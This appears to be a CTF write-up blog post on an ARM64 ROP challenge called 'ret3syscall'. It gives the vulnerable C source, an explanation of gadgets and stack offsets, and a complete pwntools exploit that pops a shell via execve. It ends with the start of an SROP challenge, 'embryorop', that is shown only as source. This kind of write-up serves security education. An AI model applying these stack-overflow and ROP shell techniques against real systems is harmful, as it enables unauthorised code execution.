Post

YBN 3.0 Christmas

Writeups for some of the challenges from YBN 3.0 christmas

YBN 3.0 Christmas

Table of Contents

Hi

Hi. The ctf was 4 months ago but im writing this so I don’t forget some of the things that I learnt.

ret3syscall

This challenge is an ARM ROP challenge that is mostly guided (though really it isn’t and I spent very long figuring out how everything works). It was fun though :)

Challenge protections

protections file

Solve

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

void buf(){
	char max[10];
	read(0, max, 0x300);
}

int main()
{
	char max[6];
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	puts("Welcome to ARM ROP!\n");
	puts("In this guided exercise, you will learn how to pop a shell in an ARM statically-linked binary.");
	puts("In ARM, there are a total of 31 general-purpose 64-bit registers (X0-X30)");
	puts("");
	puts("	X0-X5: Argument registers");
	puts("	X8:    The syscall number");
	puts("	X29:   The stack base pointer");
	puts("	X30:   The return address");
	puts("	sp:    The stack pointer");
	puts("	pc:    The program counter");
	puts("");
	puts("Unlike x86-64, when the ret instruction is executed, instead of popping the return address from the stack into the program counter, the value in the X30 register is popped into the pc instead.");
	puts("This means just having stack control isn't enough to control execution flow!");
	puts("In order to reliably control execution flow when you only have control of the stack, you must have gadgets that actually pop values from sp into X30.");
	puts("For example:");
	puts("");
	puts("0x0000000000427454: str x0, [x1]; ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x40; ret; ");
	puts("");
	puts("This stores the value of x0 into the address in x1, pops two values from sp+0x10 into x19 and x20 respectively, and then pops two values from sp into x29 and x30 before adding 0x40 to the sp register.");
	puts("");
	puts("Notice that keeping track of what offsets are added to sp at the end are very important!");
	puts("Say we wish to return to main() after our gadget:");
	puts("");
	puts("Hence, we will have to keep the following stack layout at sp:");
	puts("");
	puts("[sp]:        NULL, main()");
	puts("[sp + 0x10]: value of x19, x20");
	puts("[sp + 0x40]: <stack frame of main>");
	puts("");
	puts("Sometimes, we can't just to just rely on ret gadgets to do what we want!");
	puts("Gadgets are scarce, so we have to be creative!");
	puts("Gadgets that end with br <reg> will jump to the address in <reg> independent of sp");
	puts("For example:");
	puts("");
	puts("0x00000000004307d8: ldp x0, x1, [sp, #0x20]; ldr x16, [sp, #8]; ldr w7, [sp, #4]; ldr w6, [sp, #0x38]; add sp, sp, #0xe0; br x16; ");
	puts("");
	puts("However, in order to control execution flow, we will need to control x16 here, particularly during the ldr instruction at:");
	puts("");
	puts("ldr x16, [sp, #8]");
	puts("");
	puts("The stack layout to use this would have to look like:");
	puts("");
	puts("[sp]");
	puts("[sp + 4]:    NULL");
	puts("[sp + 8]:	   next gadget");
	puts("[sp + 0x20]: values of x0, x1");
	puts("[sp + 0xe0]: <stack frame of the next gadget>");
	puts("");
	puts("That's all! Now, try to pop a shell with the following gadgets: ");
	puts("");
	puts("0x0000000000427094: str x0, [x1]; ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x40; ret; ");
	puts("0x0000000000430418: ldp x0, x1, [sp, #0x20]; ldr x16, [sp, #8]; ldr w7, [sp, #4]; ldr w6, [sp, #0x38]; add sp, sp, #0xe0; br x16; ");
	puts("0x0000000000442990: mov x8, x6; svc #0; ret; ");
	puts("0x000000000041112c: mov x2, #0; mov x3, #8; mov x8, #0x87; svc #0; ldp x29, x30, [sp], #0x20; ret; ");
	puts("");
	puts("Good luck!");
	buf();
	return 0;
}

Basically all the text is explaining how ARM ROP works. I’ll try and summarise it

1
2
3
4
5
6
7
8
9
	puts("In ARM, there are a total of 31 general-purpose 64-bit registers (X0-X30)");
	puts("");
	puts("	X0-X5: Argument registers");
	puts("	X8:    The syscall number");
	puts("	X29:   The stack base pointer");
	puts("	X30:   The return address");
	puts("	sp:    The stack pointer"); // this is x13
	puts("	pc:    The program counter"); //this is x15
  // theres also the Link register (LR) at x14 which stores return address from subroutine

This is one of the most important parts, as registers are the backbone of a program’s execution. For now, just take note of what each one is for.

ARM 64 instructions

Here are some important instructions that you need to know.
(x0 and x1 are placeholder registers)

  1. str x0, [x1] (store register)
    • stores value at x0 at address in x1
  2. ldr x0, [sp, #8] (load register)
    • loads the value at sp+0x08 into x0
  3. ldp x0, x1, [sp, #0x10] (load pair of registers)
    • loads the value from sp+0x10 into x0, and sp+0x18 into x1.
    • 0x10 here is the offset from sp, if left empty it will default to 0.
  4. ldp x0, x1, [sp], #0x40 / ldr x0, [sp], #16
    • similar to the previous one, but here sp is explicitly incremented
    • loads the value from sp into x0 and sp+8 into x1, increments sp by 0x40
    • loads value from sp into x0, increments sp by 16
  5. mov x0, x1
    • copies x1 into x0
  6. add x0,x0,x1 / add sp,sp, #0x10
    • basically x0 = x0 + x1
    • sp = sp + 0x10 (advances sp by 0x10)
  7. svc #0 (supervisor call/syscall)
    • Performs a syscall
    • the value in x8 is used as the syscall number
    • the values from x0-x5 are used as the arguments
    • so to call a shell you need x8=221,x0=/bin/sh,x1=0,x2=0
  8. ret
    • returns/jumps to the address in x30
    • Unlike x86 systems, ret in x64 does not pop return address at rsp.
  9. br x16
    • similar to ret but the address to jump to is specified
    • in this case, jump to address at x16

*Actually, you can also specify the register to jump to for a ret instruction (default is x30). The difference is that the ret instruction hints that the program is performing a subroutine return whereas br hints that is is NOT a subroutine return.
**A subroutine return is when execution goes back to where the function was initially called from.
Theres other instructions but I dont think you will need them for this challenge. I also found this which looks useful but idk theres so many resources online just find one that you like i guess.

ALSO, it is very very important to keep track of what offsets were added to sp!
As mentioned in the source:

1
puts("Notice that keeping track of what offsets are added to sp at the end are very important!"); 

The reason is that usually on x86_64 systems, when programs execute pop/push commands on the stack, they automatically increment or decrement the stack pointer (specifically pop,push and ret incre/decre by 8). HOWEVER, on aarch64, instructions behave differently. Operation such as ldr for loading registers do not always increment sp. Also as mentioned above theres that behaviour with ret where the return address of sp is not popped.
And so, it is very imporant to keep track of your offsets when performing ROP.

PLAN

ANYWAYS, back to the challenge.
Our goal is to call a shell which requires:

  1. x8=221
  2. x0=/bin/sh
  3. x1=0
  4. x2=0
  5. svc #0 syscall

So theres 5 registers we need to control.
Luckily for us, awesome challenge author ndgsghdj provides us with 4 very useful gadgets. I have annotated them below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
g1 = 0x0000000000427094
#str x0, [x1]; ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x40; ret;
#store x0 at address in x1,
#load the value from sp+0x10 into x19, and sp+0x18 into x20
#load value from sp into x29 and sp+8 into x30, increments sp by 0x40
#jumps to address in x30
g2 = 0x0000000000430418
#ldp x0, x1, [sp, #0x20]; ldr x16, [sp, #8]; ldr w7, [sp, #4]; ldr w6, [sp, #0x38]; add sp, sp, #0xe0; br x16;
#load value from sp+0x20 into x0 and sp+0x28 into x1
#load value from sp+0x08 into x16
#load value from sp+0x04 into lower 32 bytes of w7
#load value form sp+0x38 into lower 32 bytes of w6
#advance sp by 0xe0
#jump to address at x16
# sp + 0x04 → w7
# sp + 0x08 → x16
# sp + 0x20 → x0
# sp + 0x28 → x1
# sp + 0x38 → w6
# sp + 0xe0 → next stack frame
g3 = 0x0000000000442990
#mov x8, x6; svc #0; ret;
#copy x6 into x8
#makes a system call, x8 is syscall number, x0-5 are the arguments. so for shell you need x8=221,x0=/bin/sh,x1=0,x2=0
#if syscall fails continue to x30
g4 = 0x000000000041112c
#mov x2, #0; mov x3, #8; mov x8, #0x87; svc #0; ldp x29, x30, [sp], #0x20; ret; 
#set x2 = 0
#set x3 = 8
#set x8 = 0x87
#syscall, arg3=0,arg4=8, syscall number is 135
#load value from sp into x29 and sp+8 into x30, increment sp by 0x20
#jump to x30

Also I forgot to mention that Wn registers just refer to the lower 32 bits of the Xn registers.
TLDR,

  • g1 store x0,x1
  • g2 load x0,x1
  • g3 is syscall, x6 is copied to x8
  • g4 sets x2=0

I formualted the following plan for my ROP chain:

  1. g4 set x2=0
  2. g2 load x0,x1 - load x1 as writeable address, x0 as /bin/sh.
  3. g1 store x0,x1 - store /bin/sh at bss (address at x1)
  4. g2 load x0,x1 - load x0=0 and x1=0, set x6=221
  5. g3 syscall with 221, mov x6 to x8

CHAIN

We first need to buffer overflow to overwrite the return address with our first gadget

1
2
3
4
void buf(){
	char max[10];
	read(0, max, 0x300);
}

Looking at gdb (run with gdb-multiarch ./ret3)(might need to sudo apt install gdb-multiarch)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004104bc <+0>:     stp     x29, x30, [sp, #-32]!
   0x00000000004104c0 <+4>:     mov     x29, sp
   0x00000000004104c4 <+8>:     adrp    x0, 0x4b0000
   ....
   0x000000000041078c <+720>:   bl      0x410494 <buf>
   0x0000000000410790 <+724>:   mov     w0, #0x0                        // #0
   0x0000000000410794 <+728>:   ldp     x29, x30, [sp], #32
   0x0000000000410798 <+732>:   ret
End of assembler dump.  


pwndbg> disass buf
Dump of assembler code for function buf:
   0x0000000000410494 <+0>:     stp     x29, x30, [sp, #-32]!
   0x0000000000410498 <+4>:     mov     x29, sp
   0x000000000041049c <+8>:     add     x0, sp, #0x10
   0x00000000004104a0 <+12>:    mov     x2, #0x300                      // #768
   0x00000000004104a4 <+16>:    mov     x1, x0
   0x00000000004104a8 <+20>:    mov     w0, #0x0                        // #0
   0x00000000004104ac <+24>:    bl      0x421060 <__libc_read>
   0x00000000004104b0 <+28>:    nop
   0x00000000004104b4 <+32>:    ldp     x29, x30, [sp], #32
   0x00000000004104b8 <+36>:    ret

In main, sp is first decremented by 32, value at sp-32 is stored in x29, and sp-24 is stored in x30 (main return address).

1
2
3
4
5
sp  
sp-8  
sp-16  
sp-24  
sp-32 - stored in x29

buf is then called and the same instruction ` stp x29, x30, [sp, #-32]!` is run.
read(0,sp+16,0x300) is then called.

1
2
3
4
5
6
7
8
9
10
11
sp-0  

sp-0x08  #padding here
sp-0x10  #padding here
sp-0x18 - x30 #main, ovewrite this
sp-0x20 - x29 #main

sp-0x28
sp-0x30 - buffer starts here #new sp + 0x10
sp-0x38 - x30 #buf
sp-0x40 - x29 #new sp in buf is here

Because we are given a read of 0x300 bytes, we can easily overwrite the return address for main at sp-0x18 with our gadget!

1
2
3
4
payload  = b"A" * 24
payload += p64(g4)
payload += p64(0) # padding
payload += p64(0)  # padding (cus rmb previously sp was decremented in main)

A debugging trick that you can use is to make the return address point back to main. This is just to prove that the chain is working up to that point.

1. use g4 to set x2=0
1
2
3
4
#mov x2, #0; mov x3, #8; mov x8, #0x87; svc #0; ldp x29, x30, [sp], #0x20; ret; 
payload += p64(0)  # value to go to x29
payload += p64(g2) # value to go to x30, return address (0x08-0x10)
payload += b'A'*16 # padding to 0x20 (0x10-0x20), 16 bytes
2. use g2 to load bss address into x1 and /bin/sh into x0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#g2
# padding 0x04 bytes (0x00-0x04)
# value to go to w7 (0x04-0x08)
# next gadget to return to x16 (at sp 0x08) (0x08-0x10)
# padding of 16 bytes to 0x20 (0x10-0x20) 
# value to go into x0 (0x20-0x28)
# value to go into x1 (0x28-0x30)
# 8 btyes of padding to 0x38 (0x30-0x38)
# value to go to w6 (0x38-0x3c)
# padding to 0xe0 (164?)


payload += p32(0) #padding
payload += p32(0) # (0x04-0x08), -> w7
payload += p64(g1) # (0x08-0x10) -> x16 
payload += b"A" * 0x10 # padding to sp+0x20
payload += b"/bin/sh\x00" # (0x20-0x28)-> x0
payload += p64(bss) # (0x28-0x30) -> x1, writeable address
payload += b"A" * 0x08 # (0x30-0x38) padding
payload += p32(0) # (0x38-0x3c) -> w6
payload += b"A" * 164 #padding
3. use g1 to store /bin/sh in bss
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#store x0 at address in x1,
#load the value from sp+0x10 into x19, and sp+0x18 into x20
#load value from sp into x29 and sp+8 into x30, increments sp by 0x40
#jumps to address in x30

# value to x29 (0x00-0x08)
# value to x30, return address (0x08-0x10)
# value for x19 (0x10-0x18)
# value for x20 (0x18-0x20)
# padding to 0x40 (32)
payload += p64(0) # x29
payload += p64(g2) # x30
payload += p64(0) #x19
payload += p64(0) #x20
payload += b"A" * 32 # padding
4. use g2 again to set x0=0 and x1=0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# padding 0x04 bytes (0x00-0x04)
# value to go to w7 (0x04-0x08)
# next gadget to return to x16 (at sp 0x08) (0x08-0x10)
# padding of 16 bytes to 0x20 (0x10-0x20) 
# value to go into x0 (0x20-0x28)
# value to go into x1 (0x28-0x30)
# 8 btyes of padding to 0x38 (0x30-0x38)
# value to go to w6 (0x38-0x3c)
# padding to 0xe0 (164?)
payload += p32(0)
payload += p32(0)
payload += p64(g3) #point to g3
payload += b"A"*16
payload += p64(bss) #x0
payload += p64(0) #x1
payload += b"A"*8
payload += p32(221)
payload += b'A'*164
5. g3

g3 is already set to be called because put its address in x16 (see the g2 payload)
when g3 is called we should get our shell!
shell

Full Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

context.binary = './ret3'
elf = context.binary
context.arch = 'aarch64'
context.log_level = 'debug'

p = process(elf.path)
# host = 'tcp.ybn.sg'
# port = 19229
# p = remote(host,port)

#gadgets
g1 = 0x0000000000427094
g2 = 0x0000000000430418
g3 = 0x0000000000442990
g4 = 0x000000000041112c

OFFSET = 24 #for our buffer overflow
bss = 0x4b1100

main = elf.sym.main #0x4104bc
print(hex(elf.sym.main))
payload  = b"A" * 24
payload += p64(g4)
payload += p64(0) #padding
payload += p64(0) #padding

#g4
payload += p64(0) #x29
payload += p64(g2) #x30, next gadget
payload += b'A'*16 #padding

#g2
payload += p32(0) #padding
payload += p32(0) # (0x04-0x08), -> w7
payload += p64(g1) # (0x08-0x10) -> x16 
payload += b"A" * 0x10 # padding to sp+0x20
payload += b"/bin/sh\x00" # (0x20-0x28)-> x0
payload += p64(bss) # (0x28-0x30) -> x1
payload += b"A" * 0x08 # (0x30-0x38) padding
payload += p32(0) # (0x38-0x3c) -> w6
payload += b"A" * 164 #padding

#g1
payload += p64(0) # x29
payload += p64(g2) # x30
payload += p64(0) #x19
payload += p64(0) #x20
payload += b"A" * 32 # padding

#g2
payload += p32(0)
payload += p32(0)
payload += p64(g3)
payload += b"A"*16
payload += p64(bss) #x0
payload += p64(0) #x1
payload += b"A"*8
payload += p32(221)
payload += b'A'*164

p.sendlineafter(b'Good luck!\n',payload)

p.interactive()

yay

embryorop

I was so happy after solving this also it was my first time doing SROP.

Challenge protections

protections

Solve

Source

#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

void e() {
	_exit(0);
}	

int main() {
	char local[0x100];
	memset(local, 0, sizeof(local));
	void (*func)() = e;
	read(0, local, 0x110);
	__asm__("jmp *%0" :: "r"(func));
	return 0;
}

A very short program, we have a buffer overflow of 8 bytes

This post is licensed under CC BY 4.0 by the author.